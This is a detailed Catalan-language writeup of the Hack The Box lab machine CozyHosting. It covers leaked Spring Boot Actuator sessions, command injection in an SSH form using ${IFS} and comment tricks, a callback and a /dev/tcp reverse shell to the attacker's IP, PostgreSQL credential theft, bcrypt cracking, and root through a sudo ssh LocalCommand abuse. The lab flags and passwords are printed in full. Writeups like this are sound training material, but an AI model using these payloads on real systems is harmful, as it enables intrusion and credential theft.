



HACK THE BOX · LINUX

CozyHosting

Writeup tècnic complet ·
explotació reproduïble

Màquina CozyHosting resolta

HTB CozyHosting · 02 de maig de 2026

Autor	Ramon Santos Sabarich / r4ms4nt
Tipus	Informe tècnic complet i apte per arxiu
Objectiu	Documentar enumeració web, Actuator exposat, accés a panell, execució com a app, pivot a josh i escalada a root amb traçabilitat clara i reutilitzable
Data de resolució	02 de maig de 2026



Informe tècnic normalitzat per a arxivament,
consulta i traçabilitat.

HTB CozyHosting — Informe tècnic didàctic

Índex

1. Introducció del cas
2. Resum executiu tècnic
3. Preparació i arrencada del laboratori
4. Enumeració inicial de ports i serveis
5. Identificació de la superfície dominant
6. Enumeració web base
7. Login, errors de backend i transició cap a Spring Boot
8. Descobriments de Spring Boot Actuator
9. Filtració de sessió i accés al dashboard
10. Anàlisi del panell autenticat
11. Validació del flux `/executessh`
12. Command injection a `username`
13. Confirmació d'execució remota mitjançant callback
14. Foothold: shell com a usuari `app`
15. Enumeració local i anàlisi del JAR
16. Credencials PostgreSQL a `application.properties`
17. Enumeració de PostgreSQL i extracció de hash
18. Crackeig del hash bcrypt
19. Moviment lateral: accés SSH com a `josh`
20. Escalada de privilegis: abús de `sudo ssh`
21. Resum tècnic final
22. Lliçons reutilitzables

1. Introducció del cas

CozyHosting és una màquina Linux de dificultat easy en què la cadena de compromís es basa en una aplicació web Spring Boot exposada incorrectament. La resolució no parteix de credencials vàlides obtingudes per força bruta ni d'un exploit públic directe, sinó d'una exposició indeguda d'endpoints de diagnòstic, una sessió activa filtrada i una funcionalitat autenticada que construeix una operació SSH de manera insegura.

El recorregut tècnic complet és especialment útil com a cas d'estudi perquè encadena diverses idees reutilitzables:

- reconeixement inicial amb superfície mínima;
- necessitat de resoldre un hostname virtual;
- detecció d'un backend dinàmic a partir d'errors JSON;
- exposició de Spring Boot Actuator;
- reutilització d'una sessió activa;
- separació entre interfície visual, petició HTTP real i backend;

- command injection autenticada;
- anàlisi d'un JAR Spring Boot;
- extracció de credencials de base de dades;
- crackeig offline de bcrypt;
- reutilització de contrasenya per SSH;
- abús d'una regla `sudoers` insegura.

La resolució queda documentada en dos nivells: primer, els fets verificats durant el laboratori; després, l'explicació didàctica que permet entendre per què cada pas era raonable i com condicionava la fase següent.

2. Resum executiu tècnic

Cadena d'explotació

```
Nmap detecta SSH i HTTP
→ HTTP redirigeix a cozyhosting.htb
→ s'afegeix el hostname a /etc/hosts
→ la web mostra /login i errors JSON
→ s'identifica un backend Spring Boot
→ /actuator queda exposat
→ /actuator/sessions revela una sessió de kanderson
→ es reutilitza JSESSIONID per accedir a /admin
→ el panell mostra un formulari POST /executessh
→ username participa en una crida SSH construïda per shell
→ command injection autenticada
→ un callback extern confirma execució remota
→ reverse shell com a app
→ /app conté cloudhosting-0.0.1.jar
→ application.properties revela credencials PostgreSQL
→ la base cozyhosting conté hashes bcrypt
→ es crackeja el hash d'admin com manchesterunited
→ la contrasenya es reutilitza per accedir per SSH com a josh
→ sudo -l permet /usr/bin/ssh * com a root
→ LocalCommand permet llançar /bin/bash com a root
```

Resultat final

```
Usuari inicial d'aplicació: app
Usuari lateral: josh
Usuari final: root
Host: cozyhosting
User flag: d2f307799472b53e63932cffbae92e2b
Root flag: edba58633595f327570a0c2683f14201
```

Troballes principals

Fase	Troballa dominant	Impacte
Enumeració inicial	HTTP redirigeix a <code>cozyhosting.htb</code>	Obliga a treballar per hostname
Web base	<code>/login</code> real i errors JSON	Indica backend dinàmic
Enumeració backend	Spring Boot Actuator exposat	Revela endpoints, mappings i sessions
Accés autenticat	Sessió <code>kanderson</code> filtrada	Permet entrar al dashboard
Panell	Formulari <code>POST /executessh</code>	Entrada controlable cap al backend SSH
Foothold	Command injection a <code>username</code>	Shell com a <code>app</code>
Local	Credencials PostgreSQL al JAR	Accés a la base <code>cozyhosting</code>
Credencials	Hash bcrypt d' <code>admin</code> crackejat	Contrasenya <code>manchesterunited</code>
Moviment lateral	Reutilització en l'usuari <code>josh</code>	SSH estable
Escalada	<code>sudo /usr/bin/ssh *</code>	Shell root mitjançant <code>LocalCommand</code>

3. Preparació i arrencada del laboratori

La màquina es va iniciar amb l'script propi `Inici-HTB`, utilitzat per preparar l'estructura de treball i llançar una enumeració inicial controlada. Aquest script no fa explotació. El seu valor és deixar el cas organitzat des del principi, crear els directoris de treball, verificar connectivitat i generar evidències inicials.

Comanda d'arrencada

```
Inici-HTB CozyHosting 10.129.37.233 easy
```

Estructura de treball esperada

```
CozyHosting/
├── content/
├── exploits/
├── nmap/
│   ├── allPorts
│   ├── extractPorts.txt
│   ├── nmap_tcp_services.txt
│   ├── ping.txt
│   └── whichSystem.txt
└── notes/
    ├── 00_resumen_inicial.md
    └── 01_siguiete_paso.txt
```

Què es buscava en aquesta fase

La fase d'arrencada no intenta descobrir la vulnerabilitat principal. El seu objectiu és respondre preguntes bàsiques:

- si l'objectiu és viu;
- quins ports TCP són oberts;
- quins serveis i versions s'exposen;
- si hi ha un hostname o vhost rellevant;
- quina superfície sembla dominar el cas;

- quines branques han de quedar com a secundàries.

Evidència observada

L'objectiu va respondre correctament a `ping`:

```
1 packets transmitted, 1 received, 0% packet loss
64 bytes from 10.129.37.233: icmp_seq=1 ttl=63
```

La identificació ràpida va estimar Linux:

```
10.129.37.233 (ttl -> 63): Linux
```

El TTL no s'ha de tractar com a prova absoluta, però combinat més endavant amb banners Ubuntu reforça la inferència de sistema Linux.

4. Enumeració inicial de ports i serveis

Escaneig complet de ports

L'escaneig complet va detectar una superfície molt reduïda:

```
22/tcp open  ssh
80/tcp open  http
```

Fingerprint de serveis

L'escaneig de serveis va identificar:

```
22/tcp open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.3
80/tcp open  http      nginx 1.18.0 (Ubuntu)
http-title: Did not follow redirect to http://cozyhosting.htb
```

Lectura del resultat

El port `22/tcp` queda anotat com a SSH disponible, però sense credencials encara no pot ser la branca principal. En canvi, el port `80/tcp` presenta una redirecció explícita cap a un hostname:

```
http://cozyhosting.htb
```

Aquest detall condiona tota l'enumeració posterior: si s'accedeix només per IP, l'aplicació pot respondre de manera incompleta o fora del context esperat.

Decisió de fase

```
Superfície dominant: HTTP
Branca principal: WEB-BASE
Branca secundària: SSH pendent de credencials
Següent pas únic: resoldre cozyhosting.htb localment i enumerar la web per domini
```


5. Identificació de la superfície dominant

La redirecció HTTP cap a `cozyhosting.htb` converteix el hostname en part de la superfície real. En molts laboratoris web, el nom virtual no és decoratiu: pot afectar rutes, sessions, cookies, redireccions i contingut servit.

Resolució local del hostname

```
sudo sh -c 'echo "10.129.37.233 cozyhosting.htb" >> /etc/hosts'
getent hosts cozyhosting.htb
```

La resolució va quedar confirmada:

```
10.129.37.233    cozyhosting.htb
```

A la sortida original apareixia duplicat, cosa que indica que probablement es va afegir dues vegades al fitxer `/etc/hosts`. No va afectar l'exploitació, però queda com a detall operatiu corregible.

Per què aquest pas importa

Abans de fer fuzzing de rutes o revisar el login, calia garantir que les eines consultaven l'aplicació tal com estava pensada. Si el servei HTTP redirigeix a un domini, aquest domini s'ha de resoldre localment per evitar lectures falses.

6. Enumeració web base

Capçaleres inicials

```
curl -sS -I http://cozyhosting.htb
```

La web va respondre amb `200 OK`:

```
HTTP/1.1 200
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
```

HTML inicial

```
curl -sS http://cozyhosting.htb | head -n 60
```

Es va observar una landing pública:

```
<title>Cozy Hosting - Home</title>
```

L'HTML incloïa una plantilla Bootstrap anomenada FlexStart i un enllaç visible a:

```
/login
```

Tecnologies visibles

```
whatweb http://cozyhosting.htb
```

La sortida va confirmar components esperables per a una web pública:

```
Bootstrap
HTML5
nginx/1.18.0
Title[Cozy Hosting - Home]
Email[info@cozyhosting.htb]
```

Rutes i referències extretes

```
curl -sS http://cozyhosting.htb | grep -oP 'href="\K[^"]+|src="\K[^"]+' | sort -u
```

Entre els enllaços es va observar:

```
/login
assets/css/style.css
assets/js/main.js
assets/vendor/bootstrap/...
```

La cerca de paraules clau també va detectar referències comercials a panells administratius:

```
Login
admin
administrative dashboard
admin interface
```

Interpretació

Les referències a “admin interface” dins de la landing no demostren per si soles un panell explotable. Poden ser text comercial. El senyal tècnic real és `/login`, perquè apunta a un flux d'autenticació concret.

Error operatiu observat

La sortida va incloure:

```
curl: (23) Failure writing output to destination
```

Això no era un error de l'objectiu. Apareix quan `curl` continua escrivint però `head` ja ha tancat la canonada. És un detall local de terminal i no s'ha d'interpretar com una troballa de la màquina.

7. Login, errors de backend i transició cap a Spring Boot

Revisió de `/login`

```
curl -sS -I http://cozyhosting.htb/login
curl -sS http://cozyhosting.htb/login | head -n 80
```

La ruta va respondre amb `200 OK` i va mostrar un formulari real:

```
<form action="/login" method="post" class="row g-3 needs-validation">
```

Els camps rellevants eren:

```
username  
password  
remember
```

No es va observar cap camp CSRF visible a l'HTML. Aquest punt es va anotar com a característica del formulari, no com a vulnerabilitat demostrada.

Revisió de `/error` i rutes inexistents

```
curl -sS -i http://cozyhosting.htb/error | head -n 80  
curl -sS -i http://cozyhosting.htb/noexiste | head -n 80
```

La ruta `/error` va retornar JSON:

```
{"timestamp":"2026-05-02T11:27:57.289+00:00","status":999,"error":"None"}
```

Una ruta inexistent també va retornar un JSON estructurat:

```
{"timestamp":"2026-05-02T11:28:22.877+00:00","status":404,"error":"Not Found","path":"/noexiste"}
```

Lectura didàctica

L'aplicació no era una web estàtica pura servida per nginx. Encara que nginx actuava com a frontal, els errors JSON indicaven que hi havia un backend dinàmic processant rutes i errors. La combinació de formulari POST, capçaleres de seguretat i format d'error amb `timestamp`, `status`, `error` i `path` era compatible amb una aplicació Java/Spring.

Decisió

```
Branca principal: WEB-BASE, amb transició probable a WEB-AUTH / PANEL  
Motiu: /login real + errors JSON de backend  
Següent pas: enumerar rutes backend i endpoints típics de Spring Boot
```

8. Descobriment de Spring Boot Actuator

Fuzzing comú

```
ffuf -u http://cozyhosting.htb/FUZZ \  
-w /usr/share/seclists/Discovery/Web-Content/common.txt \  
-mc all -fc 404
```

Rutes rellevants:

```
admin    401  
error    500  
index    200  
login    200  
logout   204
```


Fuzzing específic de Spring Boot

```
ffuf -u http://cozyhosting.htb/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt \
-mc all -fc 404
```

Endpoints rellevants:

```
actuator          200
actuator/sessions 200
actuator/env       200
actuator/mappings 200
actuator/health    200
actuator/beans     200
```

Confirmació de l'endpoint base

```
curl -sS -i http://cozyhosting.htb/actuator | head -n 80
```

L'endpoint va retornar enllaços interns:

```
/actuator/sessions
/actuator/beans
/actuator/health
/actuator/env
/actuator/mappings
```

El health check va confirmar que l'aplicació estava aixecada:

```
curl -sS http://cozyhosting.htb/actuator/health
```

```
{"status": "UP"}
```

Interpretació

Spring Boot Actuator és una superfície de diagnòstic. En un desplegament segur, no hauria d'exposar endpoints sensibles a usuaris anònims. En aquest cas, l'exposició de `sessions`, `mappings`, `env` i `beans` era la troballa dominant: ja no es tractava només de trobar rutes, sinó de llegir informació interna del backend.

9. Filtració de sessió i accés al dashboard

Enumeració de mappings

```
curl -sS http://cozyhosting.htb/actuator/mappings
```

Entre les rutes internes va aparèixer una especialment important:

```
POST /executessh
```

Associada al handler:

```
htb.cloudhosting.compliance.ComplianceService#executeOverSsh(String, String, HttpServletResponse)
```

També es van confirmar vistes internes:

```
/admin  
/addhost  
/index  
/login
```

Filtració de sessions

```
curl -sS http://cozyhosting.htb/actuator/sessions
```

Una de les respostes observades va ser:

```
{  
  "7973024D4ACF933A79FFF0AC267E833A": "UNAUTHORIZED",  
  "69EF63EAAED85BD239B2A03AFE4B7D29": "kanderson"  
}
```

La sessió marcada com a `UNAUTHORIZED` no era útil. La rellevant era l'associada a:

```
kanderson
```

Validació per terminal

```
curl -sS -i http://cozyhosting.htb/admin \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' | head -n 120
```

La resposta va ser `200 OK` i va mostrar el dashboard:

```
<title>Dashboard - Cozy Cloud</title>  
<span class="d-none d-md-block ps-2">K. Anderson</span>
```

Accés des del navegador

Més endavant, la sessió inicial va caducar i calgué obtenir-ne una de nova mitjançant `/actuator/sessions`:

```
{  
  "C42BC31D847B65FA25FE4A4AB541318E": "UNAUTHORIZED",  
  "1129638E080FFCADC2EDD2B617160C46": "UNAUTHORIZED",  
  "405F6C1B7D933B6BE1F873BBB79023ED": "UNAUTHORIZED",  
  "45CE26F0AAE9695F22A16A62957B9B9B": "kanderson"  
}
```

La cookie vàlida es va verificar per terminal:

```
curl -sS -i http://cozyhosting.htb/admin \  
-H 'Cookie: JSESSIONID=45CE26F0AAE9695F22A16A62957B9B9B' | head -n 20
```

El codi esperat era:

```
HTTP/1.1 200
```

Per entrar al navegador, es va esborrar la cookie `JSESSIONID` existent des de:

```
Eines de desenvolupament → Emmagatzematge → Cookies → http://cozyhosting.htb
```

I se'n va crear una de nova:

```
Nom: JSESSIONID
Valor: 45CE26F0AAE9695F22A16A62957B9B9B
Domini: cozyhosting.htb
Ruta: /
```

Després es va navegar directament a:

```
http://cozyhosting.htb/admin
```

No s'havia de prémer Login ni introduir credencials: l'accés depenia de reutilitzar la sessió filtrada.

Lliçó d'aquesta fase

El punt clau no era "tenir un nom d'usuari", sinó una sessió activa vàlida. `kanderson` com a text no obria el panell; el valor de `JSESSIONID` associat a `kanderson` sí que permetia accedir al dashboard.

10. Anàlisi del panell autenticat

Després d'accedir a `/admin`, es va desar l'HTML complet per fer-ne una anàlisi local:

```
mkdir -p loot
curl -sS http://cozyhosting.htb/admin \
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \
-o loot/admin_kanderson.html
```

Evidència observada

El panell mostrava:

```
Dashboard - Cozy Cloud
K. Anderson
Admin Dashboard
Keep your hosts patched!
```

La secció rellevant era:

```
Include host into automatic patching
```

L'HTML contenia:

```
<form action="/executessh" method="post">
<input name="host" class="form-control" id="host" placeholder="example.com">
<input name="username" class="form-control" id="username" placeholder="user">
```

El mateix panell explicava que Cozy Scanner intentava connectar-se al host del client utilitzant una clau privada:

```
For Cozy Scanner to connect the private key that you received upon registration should be included in
your host's .ssh/authorised_keys file.
```

Interpretació

La interfície visual, la petició real i el backend quedaven connectats:

```
Dashboard autenticat
→ formulari "Include host into automatic patching"
→ POST /executessh
→ ComplianceService#executeOverSsh
→ operació SSH des del servidor
```

Aquest pas era essencial. No n'hi havia prou amb saber que `/executessh` existia a `mappings`; calia observar com s'invocava des del panell i quins paràmetres controlava l'usuari.

11. Validació del flux `/executessh`

Abans de provar caràcters especials, es va validar el comportament normal del formulari amb entrades benignes.

Prova amb localhost

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'host=127.0.0.1' \
--data-urlencode 'username=test' \
-o loot/executessh_test_127001.txt
```

Resultat clau:

```
Location: http://cozyhosting.htb/admin?error=Host key verification failed.
```

Prova amb domini extern

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'host=example.com' \
--data-urlencode 'username=test' \
-o loot/executessh_test_example.txt
```

Resultat clau:

```
Location: http://cozyhosting.htb/admin?error=ssh: Could not resolve hostname example.com: Temporary failure in name resolution
```

Què demostra aquesta diferència

El backend no estava retornant un error genèric de formulari. Els errors eren compatibles amb una execució real del client SSH:

- `127.0.0.1` resolvia i arribava a la fase de verificació de clau de host;
- `example.com` fallava en la resolució DNS des del servidor.

Per tant, el paràmetre `host` arribava a una operació SSH real.

Validació de restriccions d'entrada

Es van provar entrades per entendre què validava l'aplicació:

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'host=invalid host' \  
--data-urlencode 'username=test'
```

Resultat:

```
Invalid hostname!
```

Amb un espai a `username`:

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'host=127.0.0.1' \  
--data-urlencode 'username=test user'
```

Resultat:

```
Username can't contain whitespaces!
```

Lectura

El camp `host` tenia una validació de format. El camp `username` bloquejava espais literals, però continuava sent interessant perquè participava en la construcció de l'operació SSH.

12. Command injection a username

Proves amb caràcters especials

Es va provar `username=test;`:

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'host=127.0.0.1' \  
--data-urlencode 'username=test;'
```

Resultat rellevant:

```
/bin/bash: line 1: @127.0.0.1: command not found
```

També es va provar `username=test|`:

```
/bin/bash: line 1: @127.0.0.1: command not found
```

L'aparició de `/bin/bash: line 1` va confirmar que el valor de `username` arribava a una shell del sistema. El backend no invocava SSH de manera segura amb arguments separats; construïa una cadena interpretada per shell.

Comprensió de la posició del paràmetre

En provar:

```
username=test;id
```

la resposta va ser:

```
/bin/bash: line 1: id@127.0.0.1: command not found
```

La sortida no era la d' `id`, perquè l'ordre injectada quedava contaminada pel sufix `@host`. Això va permetre inferir que l'aplicació construïa alguna cosa semblant a:

```
ssh <username>@<host>
```

En injectar a `username`, tot el que s'afegeix queda abans de `@127.0.0.1` si no es talla la resta de la línia.

Ús de comentari per neutralitzar el sufix

Es va provar:

```
username=test;id;#
```

L'error relacionat amb `@127.0.0.1` va desaparèixer. Això va confirmar que `#` actuava com a comentari de shell i tallava la resta de la línia.

Lliçó tècnica

En command injection no n'hi ha prou amb comprovar que un separador funciona. Cal entendre on cau exactament el paràmetre dins de l'ordre final. Aquí la injecció era real, però el sufix `@host` afectava les ordres si no es neutralitzava.

13. Confirmació d'execució remota mitjançant callback

Com que la sortida d'ordres no sempre es reflectia de manera neta en la resposta HTTP, es va validar l'execució amb un callback extern.

Obtenir la IP de la interfície VPN

```
ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'
```

Resultat:

```
10.10.15.26
```

Terminal 1: servidor HTTP

```
cd /home/r4mon/pentest/targets/HTB/easy/CozyHosting  
python3 -m http.server 7000
```

Petició de prova

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
&id
```



```
--data-urlencode 'host=127.0.0.1' \  
--data-urlencode 'username=test;curl${IFS}http://10.10.15.26:7000;#' \  
-o loot/executessh_callback_curl.txt
```

Senyal d'èxit

Al servidor HTTP local es va rebre:

```
10.129.37.233 - - [02/May/2026 16:56:55] "GET / HTTP/1.1" 200 -
```

La IP `10.129.37.233` era la víctima. Això confirmava que la màquina objectiu va iniciar una connexió sortint cap al servidor controlat per l'operador.

Per què `${IFS}` era necessari

L'aplicació bloquejava espais literals a `username`. `${IFS}` permet introduir separació interpretable per shell sense usar un espai literal. Aquesta substitució va ser clau per construir ordres amb arguments.

14. Foothold: shell com a usuari app

Preparació de `rev.sh`

Al mateix directori utilitzat per al servidor HTTP es va preparar el fitxer `rev.sh`:

```
echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.15.26/4444 0>&1' > rev.sh  
chmod +x rev.sh
```

Terminal 1: servidor HTTP

```
cd /home/r4mon/pentest/targets/HTB/easy/CozyHosting  
python3 -m http.server 7000
```

Terminal 2: listener

```
nc -lvnp 4444
```

Navegador: formulari autenticat

Al panell:

```
http://cozyhosting.htb/admin
```

A la secció:

```
Include host into automatic patching
```

Es va emplenar:

```
Hostname: 127.0.0.1  
Username: payload preparat per descarregar i executar rev.sh
```

El payload es va introduir únicament al camp `Username` del formulari web. No s'havia d'executar en una terminal local ni escriure al listener.

Error operatiu evitat

Si el servidor HTTP mostra:

```
GET /rev.sh HTTP/1.1" 404 -
```

vol dir que `rev.sh` no és al directori des del qual s'ha aixecat `python3 -m http.server 7000`. És un error local, no de l'objectiu.

Recepció de shell

El listener va rebre:

```
connect to [10.10.15.26] from (UNKNOWN) [10.129.37.233] 48724
sh: 0: can't access tty; job control turned off
```

La shell es va validar amb:

```
whoami
hostname
ls
```

Resultat:

```
app
cozyhosting
cloudhosting-0.0.1.jar
```

Confirmació del context

L'origen `10.129.37.233` i el resultat `whoami=app`, `hostname=cozyhosting` confirmaven que la shell era de la màquina objectiu.

Un error anterior va produir una connexió des de la mateixa IP atacant i va mostrar `whoami=r4mon`, `hostname=parrot`. Aquell cas no era una shell vàlida de CozyHosting, sinó una execució local accidental.

15. Enumeració local i anàlisi del JAR

Millora mínima de la shell

```
script /dev/null -c bash
export TERM=xterm
```

Confirmació de context

```
pwd
ls -la
ls -lh cloudhosting-0.0.1.jar
```

Resultat:

```
/app
-rw-r--r-- 1 root root 58M Aug 11 2023 cloudhosting-0.0.1.jar
```

Extracció del JAR

```
mkdir -p /tmp/cozy_jar
unzip -q cloudhosting-0.0.1.jar -d /tmp/cozy_jar
```

La primera vegada es va cometre un error d'escriptura (`nzip`), corregit immediatament amb `unzip`.

Estructura rellevant

```
find /tmp/cozy_jar -maxdepth 3 -type f | sort | head -n 80
```

Va aparèixer:

```
/tmp/cozy_jar/BOOT-INF/classes/application.properties
/tmp/cozy_jar/BOOT-INF/lib/postgresql-42.5.1.jar
/tmp/cozy_jar/BOOT-INF/lib/spring-boot-3.0.2.jar
/tmp/cozy_jar/BOOT-INF/lib/spring-boot-actuator-3.0.2.jar
```

Cerca de fitxers de configuració

```
find /tmp/cozy_jar -type f \( -name "*.properties" -o -name "*.yml" -o -name "*.yaml" -o -name "*.xml" \) -print
```

Resultat:

```
/tmp/cozy_jar/BOOT-INF/classes/application.properties
/tmp/cozy_jar/META-INF/maven/htb.cloudhosting/cloudhosting/pom.xml
/tmp/cozy_jar/META-INF/maven/htb.cloudhosting/cloudhosting/pom.properties
```

Lliçó sobre cerques massa àmplies

L'ordre:

```
grep -RniE 'spring.datasource|jdbc|postgres|password|username|user|secret|token|key' /tmp/cozy_jar 2>/dev/null
```

produïa massa sortida perquè recorria també `/tmp/cozy_jar/BOOT-INF/lib/`, on hi ha llibreries amb moltes cadenes coincidents. La forma més útil era acotar a:

```
grep -RniE 'spring.datasource|jdbc|postgres|password|username|secret|token|key' \
/tmp/cozy_jar/BOOT-INF/classes 2>/dev/null
```

16. Credencials PostgreSQL a `application.properties`

Revisió del fitxer

```
cat /tmp/cozy_jar/BOOT-INF/classes/application.properties
```

Contingut rellevant:

```
server.address=127.0.0.1
server.servlet.session.timeout=5m
```

```
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
```

Fets verificats

```
Base de dades: cozyhosting
Host: localhost
Port: 5432
Usuari: postgres
Contrasenya: Vg&nvzAQ7XxR
```

Interpretació

El JAR no era només un artefacte de desplegament; contenia configuració sensible. En aplicacions Spring Boot, `application.properties` és un objectiu prioritari després d'obtenir shell perquè sovint emmagatzema paràmetres de connexió, endpoints exposats i secrets operatius.

Aquesta troballa va canviar la branca activa cap a credencials i base de dades local.

17. Enumeració de PostgreSQL i extracció de hashes

Connexió no interactiva

Per evitar problemes amb el paginador de `psql` en una shell inestable, es van utilitzar consultes no interactives amb el paginador desactivat.

```
PGPASSWORD='Vg&nvzAQ7XxR' psql -h 127.0.0.1 -U postgres -d cozyhosting -P pager=off -c '\dt'
```

Resultat:

```
List of relations
Schema | Name | Type | Owner
-----+-----+-----+-----
public | hosts | table | postgres
public | users | table | postgres
(2 rows)
```

Consulta d'usuaris

```
PGPASSWORD='Vg&nvzAQ7XxR' psql -h 127.0.0.1 -U postgres -d cozyhosting -P pager=off -c 'SELECT * FROM users;'
```

Resultat:

```
name | password | role
-----+-----+-----
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm | Admin
(2 rows)
```

Lectura del resultat

El format `$2a$10$...` correspon a bcrypt. L'usuari `admin` era el candidat prioritari perquè tenia rol `Admin` dins de l'aplicació.

La contrasenya d'aplicació d'`admin` no s'havia d'assumir automàticament com a contrasenya de sistema. Primer calia crackejar el hash i després comprovar si la contrasenya estava reutilitzada per algun usuari local real.

18. Crackeig del hash bcrypt

Preparació del hash

A la màquina atacant:

```
cd /home/r4mon/pentest/targets/HTB/easy/CozyHosting/exploits  
  
cat > admin_hash.txt << 'EOF'  
$2a$10$SpKYdHLB0F0aT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm  
EOF
```

Crackeig amb Hashcat

```
hashcat -m 3200 admin_hash.txt /usr/share/wordlists/rockyou.txt
```

Resultat rellevant:

```
Status: Cracked  
Hash.Mode: 3200 (bcrypt $2*$, Blowfish (Unix))  
$2a$10$SpKYdHLB0F0aT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm:manchesterunited
```

Resultat de credencials

```
Usuari d'aplicació: admin  
Hash: $2a$10$SpKYdHLB0F0aT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm  
Contrasenya: manchesterunited
```

Interpretació

El crackeig va transformar un secret d'aplicació en una contrasenya en clar. El pas correcte següent era buscar usuaris locals reals i comprovar reutilització, no intentar iniciar sessió per SSH com a `admin` sense evidència que aquest usuari existís a Linux.

19. Moviment lateral: accés SSH com a `josh`

Revisió d'usuaris locals

Des de la shell com a `app`:

```
cat /etc/passwd | grep -E '/bin/bash|/bin/sh'
```

Usuaris rellevants:

```
root:x:0:0:root:/root:/bin/bash
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
```

L'usuari local `josh` era un candidat real per provar la reutilització de la contrasenya crackejada.

Accés SSH

Des de la màquina atacant:

```
ssh josh@10.129.37.233
```

Contrasenya utilitzada:

```
manchesterunited
```

L'accés va ser satisfactori. El context va quedar validat:

```
whoami
id
hostname
pwd
```

Resultat:

```
josh
uid=1003(josh) gid=1003(josh) groups=1003(josh)
cozyhosting
/home/josh
```

User flag

```
cat /home/josh/user.txt
```

Resultat:

```
d2f307799472b53e63932cffbae92e2b
```

Lectura didàctica

Aquest pas demostra per què cal provar reutilització entre superfícies. El hash pertanyia a un usuari d'aplicació anomenat `admin`, però la contrasenya resultant va funcionar per a un usuari local diferent: `josh`.

20. Escalada de privilegis: abús de `sudo` `ssh`

Revisió de permisos `sudo`

```
sudo -l
```

Resultat:

```
User josh may run the following commands on localhost:  
(root) /usr/bin/ssh *
```

Interpretació

La línia:

```
(root) /usr/bin/ssh *
```

vol dir que `josh` pot executar `/usr/bin/ssh` com a `root` i amb arguments arbitraris. Això és perillós perquè `ssh` no només obre connexions: també permet opcions de client que executen ordres locals després d'establir una connexió.

L'opció rellevant és:

```
LocalCommand
```

Perquè s'executi, cal habilitar:

```
PermitLocalCommand=yes
```

En executar el client SSH mitjançant `sudo`, l'ordre definida a `LocalCommand` hereta el context de `root`.

Comanda d'escalada

```
sudo /usr/bin/ssh -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash' josh@127.0.0.1
```

Es va acceptar l'empremta SSH de `127.0.0.1` i es va introduir la contrasenya de `josh`.

Validació de root

```
whoami  
id  
hostname  
pwd
```

Resultat:

```
root  
uid=0(root) gid=0(root) groups=0(root)  
cozyhosting  
/home/josh
```

Root flag

```
cat /root/root.txt
```

Resultat:

```
edba58633595f327570a0c2683f14201
```


Lectura didàctica

L'escalada no va dependre d'una vulnerabilitat de kernel ni d'un binari SUID clàssic. El problema era una regla `sudoers` massa permissiva. Permetre `ssh` com a root amb arguments arbitraris va habilitar l'abús d'una funcionalitat legítima del client SSH.

21. Resum tècnic final

1. Es valida la connectivitat contra 10.129.37.233.
2. Nmap descobreix únicament SSH i HTTP.
3. HTTP redirigeix a cozyhosting.htb.
4. Es resol cozyhosting.htb a /etc/hosts.
5. La landing mostra /login.
6. /error i rutes inexistents retornen JSON de backend.
7. El fuzzing descobreix endpoints Spring Boot Actuator.
8. /actuator/mappings revela /executessh.
9. /actuator/sessions filtra una sessió de kanderson.
10. Es reutilitza JSESSIONID per accedir al dashboard.
11. El panell mostra un formulari de parcheig automàtic.
12. El formulari envia host i username a /executessh.
13. Les proves benignes confirmen una operació SSH real des del backend.
14. Caràcters especials a username provoquen errors de /bin/bash.
15. Es confirma command injection.
16. Un callback HTTP sortint des de 10.129.37.233 confirma execució remota.
17. S'obté shell com a app.
18. A /app es localitza cloudhosting-0.0.1.jar.
19. application.properties exposa credencials PostgreSQL.
20. La base cozyhosting conté hashcs bcrypt.
21. El hash d'admin es crackeja com manchesterunited.
22. La contrasenya es reutilitza per SSH com a josh.
23. sudo -l permet /usr/bin/ssh * com a root.
